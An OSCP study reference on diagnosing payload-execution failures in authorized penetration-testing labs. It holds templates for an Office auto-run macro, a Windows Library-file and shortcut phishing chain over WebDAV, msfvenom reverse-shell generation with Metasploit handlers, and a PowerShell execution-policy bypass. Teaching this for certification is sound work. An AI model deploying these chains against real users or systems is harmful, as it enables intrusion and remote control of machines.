OSCP Reference

9.4.6 Payload Execution Obstacles

← Stage index | Shells and payloads | File transfer | Payload-execution cheatsheet | Strategy map | Study methods: Resolve payload execution obstacles

Goal: determine the first failed boundary between delivery and a usable session, then change only the condition responsible. Commands are generic authorized-lab references. Client-side delivery requires explicit scope and the intended exercise user interaction.

9.4.6.1 Preserve the execution chain

artifact/request
→ delivered to intended consumer
→ required user/trigger action
→ parser/interpreter/loader
→ process or bounded side effect
→ network connection
→ handler protocol
→ usable session
BoundaryDecisive evidenceDoes not prove
DeliveryExpected bytes, request, document or shortcut arrives intactIt was opened or parsed
TriggerIntended user/service/parser consumed itChild process started
ExecutionHarmless marker, process or command outputCallback route works
ConnectionExpected peer reaches listenerPayload and handler agree
SessionCommands return; host and identity verifiedStability or privilege

Do not replace the artifact, payload, listener and route simultaneously. Record the last confirmed boundary and test the next one.

9.4.6.2 Establish the current state and choose your first useful check Fast diagnostic order

  1. Reproduce a harmless direct command in the exact vulnerable or user context.
  2. Confirm file/request integrity, final path and consumer.
  3. Identify every parser, interpreter and loader.
  4. Match target OS, process architecture, artifact format and runtime dependencies.
  5. Verify permissions, working directory, execution policy and application-control evidence.
  6. Start the correct listener/handler and prove its bind.
  7. Prove the target-to-listener route separately.
  8. Inspect concrete antimalware, application-control and process-failure evidence.
  9. Repair session I/O only after a connection exists.

If step 1 fails, this is not yet a payload problem. Return to the exploit, input parser or execution primitive.

9.4.6.3 Client-side attacks are gated chains

Client-side access adds two prerequisites that service exploitation does not normally have:

Before choosing a document or shortcut, establish the target OS, installed application/version, delivery route, expected security zone, required interaction, target egress and callback route. A generic file that depends on absent software is not a viable attack.

9.4.6.3.1 Check the conditions required for a document macro to execute Office macro chain

Use a macro-enabled format such as .docm or a legacy .doc; .docx does not persist embedded VBA macros by itself. Store the macro in the document, not only the global template. A minimal harmless execution proof is:

Sub AutoOpen()
    RunProof
End Sub

Sub Document_Open()
    RunProof
End Sub

Sub RunProof()
    CreateObject("WScript.Shell").Run _
        "cmd.exe /c whoami > %TEMP%\oscp-marker.txt", 0, True
End Sub

AutoOpen and Document_Open cover distinct Word opening paths. Replace the proof command only after the document, trigger and execution context are confirmed.

Modern Office commonly blocks VBA macros in files carrying Mark of the Web rather than offering a universal one-click enable path. Relevant gates include:

Inspect a file's zone without changing it:

Get-Item -LiteralPath 'C:\PATH\FILE.docm' -Stream *
Get-Content -LiteralPath 'C:\PATH\FILE.docm' -Stream Zone.Identifier

ZoneId=3 represents the Internet zone. Absence of the stream does not prove that macro policy permits execution, and removing MOTW does not override every policy.

9.4.6.3.2 Validate each delivery and execution step in the Library-file chain Windows Library file plus shortcut

A .Library-ms file is an XML library description that can present a remote location in Explorer. The PEN-200 attack pattern is two-stage:

delivered .Library-ms
→ user opens library
→ Explorer reaches WebDAV location
→ user opens .lnk
→ shortcut launches chosen command
→ optional download/callback

If WsgiDAV is already installed, publish a dedicated authorized-lab directory:

mkdir -p webdav
wsgidav --host=0.0.0.0 --port=80 \
  --root=./webdav --auth=anonymous

Anonymous mode exposes the selected directory. Bind only to the required lab interface when possible, place no sensitive files there and stop the server after the exercise. Port 80 is the reliable baseline for a plain-HTTP Windows WebDAV location. Use another port only after confirming the target WebClient accepts that URL form and the route permits it.

Original library template using placeholders:

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <name>@windows.storage.dll,-34582</name>
  <version>1</version>
  <isLibraryPinned>true</isLibraryPinned>
  <iconReference>imageres.dll,-1002</iconReference>
  <templateInfo>
    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
  </templateInfo>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <isDefaultSaveLocation>true</isDefaultSaveLocation>
      <isSupported>false</isSupported>
      <simpleLocation>
        <url>http://LHOST/</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

Save it with a .Library-ms extension. Windows may add a serialized location after opening it; retain a clean source copy and inspect the final artifact before delivery.

Create a shortcut on a controlled Windows preparation host:

$shortcutPath = 'C:\PATH\webdav\ACTION.lnk'
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = "$env:SystemRoot\System32\cmd.exe"
$shortcut.Arguments = '/c whoami > %TEMP%\oscp-marker.txt'
$shortcut.WorkingDirectory = $env:TEMP
$shortcut.IconLocation = "$env:SystemRoot\System32\imageres.dll,11"
$shortcut.Save()

Only after the harmless marker works, substitute a command compatible with the target and the separately proven callback route. Diagnose this chain at three independent network points:

Explorer → WebDAV
shortcut command → optional payload/download server
executed payload → listener/handler

Failure cues:

ObservationNext boundary
Library opens emptyWebDAV bind, reachability, WebClient/policy, modified library serialization
WebDAV receives nothingArtifact not opened, URL/port wrong, client route or WebDAV blocked
Directory appears; shortcut never runsRequired second user action absent or shortcut blocked
Marker works; download absentCommand quoting, DNS and payload-server route
Download occurs; no executionFormat, permissions, policy, quarantine or dependency
Execution proven; no callbackListener, route, payload/handler compatibility

9.4.6.4 Match artifact to its consumer

The file extension is not the execution contract. Record all of these:

target OS and build
target process architecture
artifact format
loader/interpreter
execution identity and integrity
working directory and PATH
required runtime/libraries
arguments and quoting
network direction
handler protocol

9.4.6.4.1 Check whether the artifact can execute in the Linux environment Linux checks

uname -a
uname -m
file PAYLOAD
readelf -h PAYLOAD | sed -n '1,25p'
ldd PAYLOAD
ls -l PAYLOAD
findmnt -T /PATH/TO/PAYLOAD
head -n 1 SCRIPT

Common interpretations:

9.4.6.4.2 Check whether the artifact matches the Windows execution environment Windows checks

Get-CimInstance Win32_OperatingSystem |
  Select-Object Caption,Version,BuildNumber,OSArchitecture

[Environment]::Is64BitOperatingSystem
[Environment]::Is64BitProcess
$env:PROCESSOR_ARCHITECTURE
Get-AuthenticodeSignature -FilePath 'C:\PATH\PAYLOAD.exe'

Keep OS architecture and consumer-process architecture separate. A 64-bit OS can run a 32-bit process under WOW64; injected code and DLLs must match the process they enter. A normal executable is not necessarily a service executable, DLL, MSI or script:

ConsumerRequired property / common failure
Direct process creationCompatible PE/ELF/script and dependencies
Windows serviceService-compatible entry/control behavior; error 1053 may follow execution of a non-service program
DLL loader/hijackCorrect bitness, expected exports and dependency behavior
msiexecValid MSI package, not an EXE renamed .msi
PowerShellValid syntax, edition/runtime compatibility and applicable policy/control state
Existing memory-corruption PoCDocumented architecture, space, bad characters and exit behavior

9.4.6.5 Parser, command-line and length failures

Write the real chain:

document/shortcut or HTTP/SQL/template input
→ application parser
→ VBA/WScript/application runtime
→ cmd.exe /c, /bin/sh -c or PowerShell
→ final command/payload

Start with a short marker at every layer. Check:

PowerShell encoded-command preparation:

$command = 'COMMAND'
$bytes = [Text.Encoding]::Unicode.GetBytes($command)
[Convert]::ToBase64String($bytes)
powershell.exe -NoProfile -NonInteractive -EncodedCommand BASE64_UTF16LE

-EncodedCommand uses UTF-16LE. It solves some transport/quoting problems; it is not encryption and does not establish antimalware evasion.

9.4.6.6 PowerShell control layers

Do not merge these different controls:

ControlWhat it changesUseful evidence
Execution policyConditions for loading/running scriptsGet-ExecutionPolicy -List and exact error
Language modeAvailable PowerShell language features$ExecutionContext.SessionState.LanguageMode
AMSISubmits supported script/content to antimalwareExplicit block/error plus Defender/PowerShell events
AppLocker/WDACApplication/script allow policyEffective policy and application-control events
Defender/other AVFile, memory, behavior and network decisionsStatus, detection history, quarantine/events
PermissionsFile/process/service/token rightsAccess-denied result under named identity

Read-only checks:

Get-ExecutionPolicy -List
$ExecutionContext.SessionState.LanguageMode

Get-MpComputerStatus |
  Select-Object AntivirusEnabled,RealTimeProtectionEnabled,
    BehaviorMonitorEnabled,IoavProtectionEnabled,AntivirusSignatureVersion

Get-MpThreatDetection |
  Select-Object InitialDetectionTime,ThreatID,ActionSuccess,Resources

Get-AppLockerPolicy -Effective -Xml

Get-WinEvent -LogName 'Microsoft-Windows-Windows Defender/Operational' `
  -MaxEvents 50 -ErrorAction SilentlyContinue |
  Select-Object TimeCreated,Id,LevelDisplayName,Message

Get-WinEvent -LogName 'Microsoft-Windows-AppLocker/EXE and DLL' `
  -MaxEvents 50 -ErrorAction SilentlyContinue |
  Select-Object TimeCreated,Id,Message

Get-WinEvent -LogName 'Microsoft-Windows-AppLocker/MSI and Script' `
  -MaxEvents 50 -ErrorAction SilentlyContinue |
  Select-Object TimeCreated,Id,Message

Cmdlets, logs and fields vary by edition, installed modules, permissions and control product. Missing output is inconclusive.

Execution policy is defense in depth, not a Windows security boundary. A process-scoped policy setting may change script-loading behavior when GPO does not override it:

powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\PATH\SCRIPT.ps1

This does not disable AMSI, application control, antimalware, permissions or network controls. Do not change persistent machine/user policy merely to test a payload.

9.4.6.7 Interpret control evidence

ObservationMost useful next action
Transferred hash differsRepair transfer/encoding before execution
File arrives then vanishesInspect quarantine/detection events and resource path
File remains; process creation deniedInspect AppLocker/WDAC, permissions and parent process
Script-loading policy errorInspect scope/precedence; use an authorized process-only invocation if applicable
Explicit AMSI/content blockTreat content/control as confirmed; encoding alone is not a supported conclusion
Process starts then exitsCapture exit/error, dependency and architecture evidence
Process remains; no connectionTest target egress, LHOST and listener
TCP handshake then closeHandler/payload mismatch, stage failure, crash or control interruption

Modern protection can inspect files, scripts after decoding, process memory, behavior and network activity. Therefore:

Prefer the least complex route already supported by evidence: a direct command, native interpreter, authenticated management service or simple command shell may meet the objective without a custom binary. Deep shellcode development, process-injection implementation and generalized AV-bypass recipes are outside this speedrun.

9.4.6.8 Generate only after selecting the context

msfvenom -l payloads | grep -E 'linux|windows' | grep -E 'x64|x86'
msfvenom --list formats
msfvenom -p PAYLOAD_NAME --list-options

Baseline stageless command shells:

msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f elf -o shell.elf

msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f exe -o shell.exe

file shell.elf shell.exe
sha256sum shell.elf shell.exe

Existing reviewed PoC with documented byte restrictions:

msfvenom -p PAYLOAD_NAME \
  LHOST=LHOST LPORT=LPORT \
  EXITFUNC=thread \
  -f FORMAT -v VARIABLE \
  -b 'BAD_CHARACTERS' -s MAX_SPACE

Use EXITFUNC only when the exploit/consumer requires that termination behavior. Never invent bad characters or size limits.

Staging distinction:

windows/x64/shell_reverse_tcp  single/stageless
windows/x64/shell/reverse_tcp  staged

A staged payload first connects and asks its handler for the larger stage. A raw Netcat listener cannot supply that protocol.

9.4.6.9 Pair the payload with its expected handler and verify the session lifecycle multi/handler and session lifecycle

Matching handler:

msfconsole -q
use exploit/multi/handler
set PAYLOAD PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
set ExitOnSession false
show options
run -j

Manage the resulting job/session deliberately:

jobs -l
sessions -l
sessions -i SESSION_ID
background
sessions -k SESSION_ID
jobs -k JOB_ID

ExitOnSession false keeps the handler available after a session opens. run -j backgrounds the handler. A session ID is local to that framework instance; record the target, identity, payload and listener rather than relying on the number alone.

Handler failure cues:

OutputInterpretation
Handler never bindsBad local address, occupied port or privilege issue
Raw listener receives connection; framework does notDifferent port/interface or payload transport
Handler receives connection but no sessionExact payload/stager mismatch, stage blocked or crash
Session opens then diesParent exits, payload exit behavior, route/control or process crash
Session opens as unexpected architecture/typeDefault payload or target was not explicitly selected

9.4.6.10 Validate module prerequisites and observe the current exam limits Metasploit module workflow and exam boundary

Manual module inspection:

search type:exploit cve:CVE_ID
info MODULE_PATH
use MODULE_PATH
show options
show advanced
show targets
show payloads
set RHOSTS TARGET
set RPORT PORT
set TARGET TARGET_ID
set PAYLOAD PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
show missing
run

Interpretation rules:

Current OSCP+ restriction:

Use manual/source-reviewed exploitation as the reusable baseline. Decide on the restricted Metasploit target deliberately and record that decision before using a restricted module or Meterpreter.

9.4.6.11 Worked diagnostic paths

9.4.6.11.1 A. Document delivered, no callback

Observed: document exists
Unknown: opened, macro permitted, child command, network route
Test: MOTW/policy → harmless marker → child process/download → callback route
Action: repair first failed gate; do not regenerate the payload first

9.4.6.11.2 B. Executable disappears after transfer

Observed: transfer response succeeded
Test: destination listing/hash → Defender detection/resource/event
Interpretation: transfer success is not retention; quarantine requires evidence
Action: choose a justified alternate execution form or native route, within scope

9.4.6.11.3 C. PowerShell says scripts are disabled

Observed: explicit execution-policy error
Test: Get-ExecutionPolicy -List and GPO precedence
Action: use a process-scoped invocation if allowed; do not call this an AMSI result

9.4.6.11.4 D. Connection reaches Netcat but there is no shell

Observed: TCP connection
Test: generated payload name
Interpretation: staged payload may have reached a raw listener
Action: use exact multi/handler or generate a compatible stageless command shell

9.4.6.11.5 E. Binary exists but returns “not found” on Linux

Observed: path and file exist
Test: file, readelf interpreter, ldd, shebang
Interpretation: loader/interpreter dependency may be missing
Action: build/choose a compatible artifact; do not change callback settings

9.4.6.11.6 F. Metasploit module reports completion, no session

Observed: module ran
Test: exact target profile, payload, callback route, handler output and service state
Interpretation: completion is not verified execution/session
Action: preserve module output and diagnose the first missing state

9.4.6.12 Verify the outcome, preserve evidence and remove your changes Evidence and cleanup

Record:

Remove temporary documents, shortcuts, WebDAV content, payloads, handler jobs and policy changes created for the authorized exercise. Do not claim AV evasion, user execution or a session without observed evidence.

9.4.6.13 Tooling for this section

ToolPurposeRequired contextBaselineDecisive outputFailure cue
file/readelf/lddValidate Linux format, architecture and runtimeLocal artifact or target shellSection 4.1Matching format/interpreter/librariesExisting file returns loader error
PowerShell built-insInspect architecture, zone, policy and logsWindows command execution; permissions varySections 3–7Specific policy/status/eventMissing cmdlet/log is inconclusive
WsgiDAVConditional WebDAV stage for Library-file exerciseInstalled server, permitted bind and client routeSection 3.2OPTIONS/GET and Explorer accessEmpty library or no server request
msfvenomGenerate a selected payload representationKnown OS/arch/format/staging/routeSection 8Expected metadata and artifactSuccessful generation alone proves nothing on target
multi/handlerReceive exact framework/staged protocolMatching payload and reachable listenerSection 9Expected session opensConnection without session implies mismatch/stage failure
Netcat/NcatRaw listener and simple socket proofCompatible raw command shell or test connectionRelated shell procedureExpected peer and usable I/OCannot stage a framework payload
tcpdump/packet captureLocalize connection boundaryCapture permission and correct interfacetcpdump -ni any tcp port LPORTSYN/handshake/close sequenceNo packet cannot by itself identify earlier failed layer

9.4.6.14 Sources


Top of document · Reference home